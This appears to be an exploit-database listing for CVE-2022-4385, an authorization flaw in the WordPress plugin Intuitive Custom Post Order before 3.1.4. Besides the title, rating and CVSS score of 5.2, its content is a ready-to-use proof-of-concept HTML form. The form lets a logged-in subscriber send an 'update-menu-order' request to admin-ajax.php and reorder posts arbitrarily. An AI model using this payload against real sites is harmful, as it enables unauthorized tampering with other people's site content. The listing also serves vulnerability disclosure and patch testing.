Exploit for Intuitive Custom Post Order < 3.1.4 - Subscriber+ Arbitrary Menu Order Update CVE-2022-4385

Name: Exploit for Intuitive Custom Post Order < 3.1.4 - Subscriber+ Arbitrary Menu Order Update CVE-2022-4385
Rating: 5 (120 reviews)

2023-01-24 | CVSS 5.2

## https://sploitus.com/exploit?id=WPEX-ID:8F900D37-6EEE-4434-8B9B-D10CC4A9167C
Open the below HTML while being logged in as a subscriber

<html> <body> <form action="https://example.com/wp-admin/admin-ajax.php" method="POST"> <input type="hidden" name="action" value="update-menu-order" /> <input type="hidden" name="order" value="post[]=7&post[]=5" /> <input type="submit" value="Submit request" /> </form> </body> </html>